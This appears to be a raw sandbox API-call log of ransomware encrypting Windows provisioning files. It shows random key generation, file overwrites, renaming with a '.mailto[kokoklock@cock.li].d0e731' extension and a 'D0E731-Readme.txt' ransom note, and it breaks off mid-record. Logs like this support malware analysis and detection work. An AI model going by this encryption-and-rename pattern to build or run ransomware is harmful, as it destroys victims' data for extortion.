RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x33fc9c8 [0086.661] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0086.661] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0086.662] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.662] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.662] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0086.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.663] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.663] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.663] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.663] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3496088) returned 1 [0086.663] RtlExitUserThread (Status=0x1) Thread: id = 1320 os_tid = 0x1258 [0086.664] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.664] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.664] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.664] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e0bff18 | out: lpFileSize=0x2e0bff18*=669) returned 1 [0086.664] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x299, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.664] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e0bfeec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x2e0bfeec*, lpNumberOfBytesRead=0x2e0bfee8*=0x4, lpOverlapped=0x0) returned 1 [0086.666] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd30 [0086.666] NtQuerySystemTime (in: CurrentTime=0x2e0bfec4 | out: CurrentTime=0x2e0bfec4*=132121176445547782) returned 0x0 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xc47399d9 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xde55e3f0 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x868b604 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x47e2b42e [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xd4d604bc [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xb412ce5c [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x77c61bc4 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xb37264e7 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x11d58bce [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x334f185c [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xeb866140 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xbd63ff8c [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x969a3097 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x165ff2b1 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x75c8e2dd [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x29a44463 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x1dd64174 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xab6ab4fb [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x1f216499 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x29ded9d8 [0086.666] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x90bbb824 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xec50b261 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xad893e4c [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x222f4249 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xa9002067 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xd99ee839 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xbc65da7c [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x6b003ad4 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x86238f6b [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xd2eccfa [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0x6032fdd1 [0086.667] RtlRandom (in: Seed=0x2e0bfed0 | out: Seed=0x2e0bfed0) returned 0xc8db7b7b [0086.677] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x29d, lpNumberOfBytesRead=0x2e0bfec4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e0bfec4*=0x29d, lpOverlapped=0x0) returned 1 [0086.677] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0bfe8c | out: lpNewFilePointer=0x0) returned 1 [0086.677] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x29d, lpNumberOfBytesWritten=0x2e0bfec0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e0bfec0*=0x29d, lpOverlapped=0x0) returned 1 [0086.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddee8 [0086.677] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddee8) returned 1 [0086.677] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e0bfebc, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e0bfebc*=0x20, lpOverlapped=0x0) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2e0bfee8*=0x8, lpOverlapped=0x0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e0bff00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x2e0bff00*, lpNumberOfBytesWritten=0x2e0bfee8*=0x4, lpOverlapped=0x0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e0bfee8*=0x4, lpOverlapped=0x0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e0bfee8*=0x6c, lpOverlapped=0x0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2e0bfee8*=0x20, lpOverlapped=0x0) returned 1 [0086.678] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e0bfee8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e0bfee8*=0x4, lpOverlapped=0x0) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.678] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.678] CloseHandle (hObject=0x3d0) returned 1 [0086.678] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1a2) returned 0x33fc9c8 [0086.679] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" [0086.679] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.679] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.679] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.680] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.680] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.680] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.680] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c018) returned 1 [0086.680] RtlExitUserThread (Status=0x1) Thread: id = 1321 os_tid = 0x125c [0086.681] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.681] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.681] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.681] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e13fa6c | out: lpFileSize=0x2e13fa6c*=665) returned 1 [0086.681] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x295, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.681] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e13fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x2e13fa40*, lpNumberOfBytesRead=0x2e13fa3c*=0x4, lpOverlapped=0x0) returned 1 [0086.683] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.683] NtQuerySystemTime (in: CurrentTime=0x2e13fa18 | out: CurrentTime=0x2e13fa18*=132121176445703951) returned 0x0 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x5787600 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xac676fd2 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x7cdd68b [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xf5b1f87c [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x84563296 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xa7f54dc1 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x44b38ce9 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x58ea8651 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xfb3d2f7 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x6fd8ca0e [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x27d27f30 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x2436e0e1 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x1448eb73 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x945da1c9 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xdf2c990d [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xfedbc2cf [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xfcaecea [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xeabb7f72 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xcd8a2468 [0086.683] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xca4c11c9 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x3ae7f83d [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xa7831633 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xbfe26ce9 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x2b761c24 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x3d923d90 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xa5240bca [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x5dbb9694 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xa55d4d8a [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0xb677a463 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x46f50e08 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x3e488c70 [0086.684] RtlRandom (in: Seed=0x2e13fa24 | out: Seed=0x2e13fa24) returned 0x5dc2e48e [0086.695] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0x2e13fa18, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e13fa18*=0x299, lpOverlapped=0x0) returned 1 [0086.695] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e13f9e0 | out: lpNewFilePointer=0x0) returned 1 [0086.695] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x299, lpNumberOfBytesWritten=0x2e13fa14, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e13fa14*=0x299, lpOverlapped=0x0) returned 1 [0086.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.695] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda38 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda38) returned 1 [0086.695] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e13fa10, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e13fa10*=0x20, lpOverlapped=0x0) returned 1 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.695] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.695] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddee8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x55ddee8*, lpNumberOfBytesWritten=0x2e13fa3c*=0x8, lpOverlapped=0x0) returned 1 [0086.696] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e13fa54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x2e13fa54*, lpNumberOfBytesWritten=0x2e13fa3c*=0x4, lpOverlapped=0x0) returned 1 [0086.696] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e13fa3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e13fa3c*=0x4, lpOverlapped=0x0) returned 1 [0086.696] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e13fa3c, 